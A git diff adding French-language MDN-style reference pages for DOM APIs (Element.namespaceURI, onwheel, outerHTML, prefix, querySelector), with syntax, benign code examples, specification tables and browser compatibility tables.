+<p>Dans Internet Explorer, la propriété <code>name</code> des objets DOM créés à l'aide de <code><a href="/fr/DOM/document.createElement" title="fr/DOM/document.createElement">createElement</a></code> ne peut être définie ou modifiée.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<p>Spécification DOM 2 HTML du W3C :</p>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-32783304">Anchor</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-32783304">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-39843695">Applet</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-39843695">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">Form</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-22051454">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-91128709">Frame</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-91128709">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-96819659">iFrame</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-96819659">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-47534097">Image</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-47534097">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-89658498">Input</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-89658498">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-52696514">Map</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-52696514">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-31037081">Meta</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-31037081">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-20110362">Object</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-20110362">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-89658498">Option</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-89658498">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-59871447">Param</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-59871447">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-41636323">Select</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-41636323">traduction</a></small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-70715578">Textarea</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-70715578">traduction</a></small></li>
+</ul>
+
+<p><small>Les traductions ne sont pas normatives.</small></p>
diff --git a/files/fr/web/api/element/namespaceuri/index.html b/files/fr/web/api/element/namespaceuri/index.html
new file mode 100644
index 0000000000..8bce63b22a
--- /dev/null
+++ b/files/fr/web/api/element/namespaceuri/index.html
@@ -0,0 +1,122 @@
+---
+title: Element.namespaceURI
+slug: Web/API/Element/namespaceURI
+tags:
+  - API
+  - DOM
+  - Element
+  - Espace de noms
+  - Propriétés
+  - URI
+translation_of: Web/API/Element/namespaceURI
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <code><strong>Element.namespaceURI</strong></code> renvoie l'URI d'espace de noms de l'élément ou <code>null</code> si l'élément n'est pas dans un espace de nom.</p>
+
+<div class="note">
+<p>Avant DOM4, cet API était définie dans l'interface {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>namespace</var> = <var>element</var>.namespaceURI</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet extrait, un élément est examiné pour son {{domxref("localName")}} et son <code>namespaceURI</code>. Si le <code>namespaceURI</code> renvoie l'espace de noms XUL et le <code>localName</code> retourne "browser" (<em>navigateur</em>), alors le noeud est compris comme étant un <code>&lt;browser/&gt;</code> XUL.</p>
+
+<pre class="brush:js">if (element.localName == "browser" &amp;&amp;
+    element.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // c'est un navigateur XUL
+}</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Ce n'est pas une valeur calculée qui est le résultat d'une recherche d'espace de noms basée sur un examen des déclarations d'espace de noms dans la portée. L'URI de l'espace de noms d'un nœud est fixé au moment de la création du nœud.</p>
+
+<p>Dans Firefox 3.5 et antérieurs, l'URI d'espace de noms pour les éléments HTML dans un document HTML est <code>null</code>. Dans les versions postérieures, en conformité avec HTML5, c'est <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> comme dans XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+
+<p>Vous pouvez créer un élément avec l'<code>namespaceURI</code> spécifié en utilisant la méthode DOM niveau 2 <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/createElementNS" title="Document.createElementNS">document.createElementNS</a>.</p>
+
+<p>Le DOM ne gère pas ou n'applique pas la validation de l'espace de noms en soi. Il appartient à l'application DOM de faire toute validation nécessaire. Notez également que le préfixe d'espace de noms, une fois associé à un élément particulier, ne peut pas être modifié.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-namespaceuri", "Element.namespaceuri")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cet API était précédemment disponible sur l'API {{domxref("Node")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.localName")}}</li>
+ <li>{{domxref("Element.prefix")}}</li>
+ <li>{{domxref("Attr.namespaceURI")}}</li>
+ <li>{{domxref("Node.namespaceURI")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/onwheel/index.html b/files/fr/web/api/element/onwheel/index.html
new file mode 100644
index 0000000000..837fda2ba2
--- /dev/null
+++ b/files/fr/web/api/element/onwheel/index.html
@@ -0,0 +1,93 @@
+---
+title: Element.onwheel
+slug: Web/API/Element/onwheel
+tags:
+  - API
+  - DOM
+  - Gestionnaires d'évènements
+  - Propriété
+  - évènements
+translation_of: Web/API/GlobalEventHandlers/onwheel
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>La propriété <code>onwheel</code> renvoie le code du gestionnaire d'évènements <code>onwheel</code> de l'élément courrant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">element.onwheel = function() { .. }</code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onwheel','onwheel')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatOpera(48)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatOperaMobile(48)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes">Notes</h3>
+
+<p>L'évènement <code>wheel</code> est déclenché lorsque l'utilisateur fait défiler le contenu de l'élément.</p>
diff --git a/files/fr/web/api/element/outerhtml/index.html b/files/fr/web/api/element/outerhtml/index.html
new file mode 100644
index 0000000000..3c9b834604
--- /dev/null
+++ b/files/fr/web/api/element/outerhtml/index.html
@@ -0,0 +1,157 @@
+---
+title: Element.outerHTML
+slug: Web/API/Element/outerHTML
+tags:
+  - API
+  - DOM
+  - Privacy
+  - Propriétés
+translation_of: Web/API/Element/outerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'attribut <code>outerHTML</code> de l'interface DOM {{domxref("element")}} récupère le fragment HTML sérialisé décrivant l'élément ainsi que ses descendants. Il peut aussi être utilisé pour remplacer l'élément avec les noeuds générés de la chaîne fournie.</p>
+
+<p>Pour obtenir uniquement la représentation HTML du contenu d'un élément ou pour remplacer le contenu d'un élément, utilisez plutôt la propriété {{domxref ("Element.innerHTML", "innerHTML")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">var content = element.outerHTML;
+
+element.outerHTML = htmlString;</code></pre>
+
+<h3 class="highlight-spanned" id="Valeur"><span class="highlight-span">Valeur</span></h3>
+
+<p>La lecture de la valeur de <code>outerHTML</code> renvoie une  {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de <code>innerHTML</code> supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne <code>htmlString</code>.</p>
+
+<h3 class="highlight-spanned" id="Exceptions"><span class="highlight-span">Exceptions</span></h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Une tentative a été faite de définir la valeur de <code>outerHTML</code> en utilisant une chaîne qui n'est pas correctement formée HTML.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>Une tentative a été faite de définir  <code>outerHTML</code>  sur un élément qui est enfant direct du {{domxref("Document")}}, tel que {{domxref("Document.documentElement")}}.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<p>Récupérer la valeur de la propriété <code>outerHTML</code> d'un élément :</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="d"&gt;&lt;p&gt;Contenu&lt;/p&gt;&lt;p&gt;Plus Complexe&lt;/p&gt;&lt;/div&gt;
+
+d = document.getElementById("d");
+dump(d.outerHTML);
+
+// la chaîne '&lt;div id="d"&gt;&lt;p&gt;Contenu&lt;/p&gt;&lt;p&gt;Plus Complexe&lt;/p&gt;&lt;/div&gt;'
+// est affichée dans la fenêtre console
+</pre>
+
+<p>Remplacer un noeud en modifiant la propriété <code>outerHTML</code> :</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="container"&gt;&lt;div id="d"&gt;Ceci est un div.&lt;/div&gt;&lt;/div&gt;
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // affiche "DIV"
+
+d.outerHTML = "&lt;p&gt;Ce paragraphe remplace le div original.&lt;/p&gt;";
+console.log(container.firstChild.nodeName); // affiche "P"
+
+// Le div #d ne fait plus partie de l'arbre décrivant le document,
+// le nouveau paragraphe l'ayant remplacé.
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Si un élément n'a pas de noeud parent, définir sa propriété <code>outerHTML</code> ne le modifiera pas, ni ses descendants. De nombreux navigateurs déclencheront aussi une exception. Par exemple :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> div <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+div<span class="punctuation token">.</span>outerHTML <span class="operator token">=</span> <span class="string token">"&lt;div class=\"test\"&gt;test&lt;/div&gt;"</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>div<span class="punctuation token">.</span>outerHTML<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// output: "&lt;div&gt;&lt;/div&gt;"</span></code></pre>
+
+<p>Aussi, lorsqu'un élément va être remplacé dans le document, la variable dont la propriété <code>outerHTML</code> a été modifiée contiendra toujours une référence à l'élément initial :</p>
+
+<pre class="brush: js">var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // affiche: "P"
+p.outerHTML = "&lt;div&gt;Ce div remplace un paragraph.&lt;/div&gt;";
+console.log(p.nodeName); // toujours "P";
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatGeckoDesktop("11") }}</td>
+   <td>0.2</td>
+   <td>4.0</td>
+   <td>7</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("11") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Sérialisation de l'arborescence DOM en XML ou HTML : {{domxref("XMLSerializer")}}</li>
+ <li>Analyse XML ou HTML dans l'arborescence DOM : {{domxref("DOMParser")}}</li>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/prefix/index.html b/files/fr/web/api/element/prefix/index.html
new file mode 100644
index 0000000000..f82ba6bf2d
--- /dev/null
+++ b/files/fr/web/api/element/prefix/index.html
@@ -0,0 +1,118 @@
+---
+title: Element.prefix
+slug: Web/API/Element/prefix
+tags:
+  - API
+  - DOM
+  - Element
+  - Propriétés
+  - Préfixe
+translation_of: Web/API/Element/prefix
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <code><strong>Element.prefix</strong></code> renvoie le préfixe d'espace de noms de l'élément spécifié ou <code>null</code> si aucun préfixe n'est précisé.</p>
+
+<div class="note">
+<p>Avant DOM4 cet API était défini dans l'interface {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>string</var> = <var>element</var>.prefix
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les logs "x" suivants à la console.</p>
+
+<pre class="brush:xml">&lt;x:div onclick="console.log(this.prefix)"/&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cela fonctionnera uniquement lorsqu'un analyseur connaissant l'espace de noms est utilisé, c'est-à-dire lorsqu'un document est servi avec un type XML MIME. Cela ne fonctionnera pas pour les documents HTML.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-prefix", "Element.prefix")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cet API était précédemment disponible sur l'API {{domxref("Node")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.namespaceURI")}}</li>
+ <li>{{domxref("Element.localName")}}</li>
+ <li>{{domxref("Attr.prefix")}}</li>
+ <li>{{domxref("Node.prefix")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/queryselector/index.html b/files/fr/web/api/element/queryselector/index.html
new file mode 100644
index 0000000000..1d3af7beeb
--- /dev/null
+++ b/files/fr/web/api/element/queryselector/index.html
@@ -0,0 +1,184 @@
+---
+title: Element.querySelector()
+slug: Web/API/Element/querySelector
+tags:
+  - API
+  - CSS
+  - DOM
+  - Element
+  - Méthode
+  - Reference
+  - Sélecteurs
+translation_of: Web/API/Element/querySelector
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Retourne le premier élement parmi les descendant de l'élement sur lequel on l'invoque qui correspond au groupe de sélecteurs spécifiés.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>element</var> = baseElement.querySelector(<em>selector</em>s);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>est un groupe de <a href="https://developer.mozilla.org/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs">sélecteurs</a> à <span id="result_box" lang="fr"><span>faire correspondre aux éléments descendants du {{domxref("Element")}} <code>baseElement</code> ;</span> <span>cette syntaxe CSS doit être valide ou une exception SyntaxError se produit.</span> <span>Le premier élément trouvé correspondant à ce groupe de sélecteurs est renvoyé.</span></span></dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p><span id="result_box" lang="fr"><span>Le premier élément descendant de <code>baseElement</code> qui correspond au groupe de <code>sélectors</code> spécifié.</span> <span>La hiérarchie entière des éléments est considérée lors de la mise en correspondance, y compris ceux qui sont en dehors de l'ensemble des éléments, y compris <code>baseElement</code> et ses descendants;</span> <span>En d'autres termes, les sélecteurs sont d'abord appliqués au document entier, et non à l'élément de base, pour générer une liste initiale d'éléments potentiels.</span> <span>Les éléments résultants sont ensuite examinés pour voir s'ils sont des descendants de <code>baseElement</code>.</span> <span>La première correspondance de ces éléments restants est renvoyée par la méthode <code>querySelector()</code>.</span></span></p>
+
+<p><span lang="fr"><span>Si aucune correspondance n'est trouvée, la valeur retournée est <code>null</code>.</span></span></p>
+
+<h3 id="Exceptions"><span lang="fr"><span>Exceptions</span></span></h3>
+
+<dl>
+ <dt>SyntaxError</dt>
+ <dd>Les <code>selectors</code> spécifiés sont invalides.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<p>Dans ce premier exemple, est retourné le premier élement {{HTMLElement("style")}} dans le corps du document HTML qui, soit n'a pas de type, soit a le type <code>text/css</code>:</p>
+
+<pre class="brush:js">var el = document.body.querySelector("style[type='text/css'], style:not([type])");
+</pre>
+
+<h3 id="Notes" name="Notes">La hiérarchie entière compte</h3>
+
+<p><span id="result_box" lang="fr"><span>Cet exemple montre que la hiérarchie du document entier est prise en compte lors de l'application des <code>selectors</code>, de sorte que les niveaux en dehors du </span></span> <code>baseElement</code> <span lang="fr"><span> spécifié sont toujours pris en compte lors de la recherche des correspondances.</span></span></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h5</span><span class="punctuation token">&gt;</span></span>Original content<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h5</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    inside paragraph
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span><span class="punctuation token">&gt;</span></span>inside span<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+    inside paragraph
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h5</span><span class="punctuation token">&gt;</span></span>Output<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h5</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> baseElement <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"output"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>innerHTML <span class="operator token">=</span>
+         <span class="punctuation token">(</span>baseElement<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"div span"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>innerHTML<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>Le résultat ressemble à ceci :</p>
+
+<p>{{EmbedLiveSample('The_entire_hierarchy_counts', 600, 160)}}</p>
+
+<h3 id="Notes" name="Notes">Plus d'exemples</h3>
+
+<p>Voir {{domxref("Document.querySelector()")}} pour des exemples supplémentaires du format approprié pour les sélecteurs.</p>
+
+<h2 id="Notes" name="Notes">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-parentnode-queryselectorall','querySelector()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll()')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll()')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>9<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
